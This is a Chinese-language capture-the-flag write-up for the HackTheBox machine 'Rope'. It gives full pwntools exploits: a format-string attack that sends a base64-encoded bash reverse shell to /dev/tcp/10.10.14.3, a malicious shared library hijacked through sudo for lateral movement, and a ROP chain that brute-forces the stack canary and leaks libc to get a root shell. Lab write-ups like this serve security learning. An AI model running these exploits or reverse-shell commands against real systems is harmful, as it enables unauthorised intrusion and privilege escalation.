HTB-靶机-Rope
作者:互联网
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.148
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.148 -o ./Rope-autorecon
也可以使用官方的方法进行快速的扫描
masscan -p1-65535 10.10.10.148 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.148 或者 nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.148 nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.148
扫描出来开放了两个端口,分别是22,9999,发现9999端口是个web应用,访问看看发现是登录界面,试了弱口令不成功,使用nikto扫描一把,发现存在目录遍历
通过上述的目录遍历漏洞,翻看目标的web目录文件,发现是使用httpserver这个二进制文件启动的,使用wget将其下载下来
wget http://10.10.10.148:9999//opt/www/httpserver
具体分析我就不阐述了,文章最后我给出分析详细的参考文章,下面是通过分析完成此二进制文件编写的exploit,大概就是触发目标靶机漏洞然后本地监听端口反弹一个地权限shell
需要反弹的shell要提前进行base64编码
echo -n 'bash -i >& /dev/tcp/10.10.14.3/8833 0>&1' | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4MzMgMD4mMQ==
对应得exploit代码
#!/usr/bin/python from pwn import * from requests import get from urllib import quote context(arch='i686', os='linux') def parseMaps(maps): binary_base = int(maps[0].split('-')[0], 16) libc_base = int(maps[6].split('-')[0], 16) return binary_base, libc_base def getMaps(): headers = { "Range" : "bytes=0-1000" } maps = get("http://10.10.10.148:9999//proc/self/maps", headers = headers) return parseMaps(maps.content.splitlines()) binary_base, libc_base = getMaps() log.success("Binary base address: {}".format(hex(binary_base))) log.success("Libc base address: {}".format(hex(libc_base))) b = ELF("./httpserver") l = ELF("./libc.so.6") puts_got = b.got["puts"] puts = binary_base + puts_got system_libc = l.symbols["system"] system = libc_base + system_libc log.success("puts address: {}".format(hex(puts))) log.success("system address: {}".format(hex(system))) r = remote('10.10.10.148', 9999) payload = fmtstr_payload(53, { puts : system }) cmd ="echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4MzMgMD4mMQ==|base64${IFS}-d|bash" r.sendline("{} {} HTTP/1.1\n".format(cmd, quote(payload)))
成功反弹shell
不过上述得shell权限较低,无法获取user.txt,根据前面查看/etc/passwd文件得知还有另一个用户r4j,那么按照套路估计是得横向移动到此用户了,首先新建一个.ssh然后把本地得kali公钥写进去,使用密钥形式登录到目标靶机john用户,执行一把sudo -l
得到可以通过sudo权限执行一个二进制文件移动到r4j用户,具体操作如下:
横向移动到r4j用户 编辑C代码并编译 vim printlog.c 内容如下: void printlog() { system("/bin/bash") } 编译 gcc printlog.c -o printlog.so -shared scp printlog.so john@10.10.10.148:/lib/x86_64-linux-gnu/liblog.so 横向移动提权 sudo -u r4j readlogs 配置公钥私钥,通过密钥登录
到了此处就可以开始考虑提权为root权限, 此处有些难度,需要逆向分析目标靶机中得一个二进制文件,目录位置是在/opt/support/contact 通过scp命令将其拷贝到本地kali进行分析,具体可参考文章:
https://chr0x6eos.github.io/2020/05/23/htb-Rope.html https://www.willsroot.io/2020/05/rope-hackthebox-writeup.html https://0xdf.gitlab.io/2020/05/23/htb-rope.html https://noobintheshell.medium.com/htb-rope-6e06c00f07b8
对应的exploit代码如下:
from pwn import * import sys def getByte(chars): for ch in range(0x00, 0x100): r = remote('localhost', 1337, level = 'error') payload = "A" * 56 + chars + chr(ch) r.recvline() r.send(payload) try : resp = r.recvline(timeout=2).rstrip() if "Done." == resp: r.close() return ch except: r.close() sys.stdout.write('{:02x}\x08\x08'.format(ch)) pass def getContent(chars): content = '' while len(content) != 8: ch = getByte(chars + content) content += chr(ch) sys.stdout.write('{:02x}'.format(ch)) return content sys.stdout.write("Canary: ") canary = getContent('') print("\n[*] Canary found: {}".format(hex(u64(canary)))) sys.stdout.write("RBP: ") rbp = getContent(canary) print("\n[*] RBP found: {}".format(hex(u64(rbp)))) sys.stdout.write("Saved return address: ") savedRip = u64(getContent(canary + rbp)) print("\n[*] Saved return address found: {}".format(hex(savedRip))) e = ELF("./contact") binaryBase = savedRip - 0x1562 pieAddr = lambda addr : addr + binaryBase ''' 0x0000000000001265: pop rdx; ret; ''' pop_rdx = p64(pieAddr(0x1265)) ''' 0x0000000000001649: pop rsi; pop r15; ret; ''' pop_rsi_r15 = p64(pieAddr(0x1649)) ''' 0x000000000000164b: pop rdi; ret; ''' pop_rdi = p64(pieAddr(0x164b)) write_GOT = p64(pieAddr(e.got['write'])) write = p64(pieAddr(e.symbols['write'])) chain = "A"* 56 + canary + rbp # overwrite return address chain += pop_rdx + p64(0x8) chain += pop_rsi_r15 + write_GOT + "B" * 8 # junk chain += write # call write function ''' write(fd, write@GOT, 0x8) ''' r = remote('localhost', 1337, level = 'debug') r.recvline() r.send(chain) write_libc = u64(r.recv(8, timeout=2)) log.success("Leaked write@libc: {}".format(hex(write_libc))) r.close() libc = ELF("./libc.so.6_64") libc_base = write_libc - libc.symbols['write'] # Find libc base address log.success("Libc based address: {}".format(hex(libc_base))) dup2 = p64(libc_base + libc.symbols['dup2']) # Calculate dup2 address ''' 0x4f322 execve("/bin/sh", rsp+0x40, environ) ''' one_gadget = p64(libc_base + 0x4f322 ) chain = "A" * 56 + canary + rbp # overwrite return address chain += pop_rdi + p64(0x4) # oldfd chain += pop_rsi_r15 + p64(0x0) + "JUNKJUNK" # newfd : stdin chain += dup2 # call dup2 ''' dup2(0, 4); ''' chain += pop_rdi + p64(0x4) # oldfd chain += pop_rsi_r15 + p64(0x1) + "JUNKJUNK" # newfd : stdout chain += dup2 # call dup2 ''' dup2(1, 4); ''' chain += pop_rdx + p64(0x0) # Zero out rdx chain += pop_rsi_r15 + p64(0x0) + "JUNKJUNK" # Zero out rsi chain += one_gadget # call execve ''' execve("/bin/sh", NULL, NULL); ''' log.info("Sending final payload") r = remote('localhost', 1337, level = 'error') r.recvline() r.send(chain) r.interactive(prompt = '# ')
利用上述exploit之前要先将目标靶机的端口通过ssh端口转发到本地,且需要目标靶机的的一个so文件,然后exploit本地的这个端口进行拿shell
scp r4j@10.10.10.148:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6_64 ssh -L 1337:127.0.0.1:1337 r4j@10.10.10.148
标签:write,HTB,chain,libc,pop,Rope,base,靶机,p64 来源: https://www.cnblogs.com/autopwn/p/14622004.html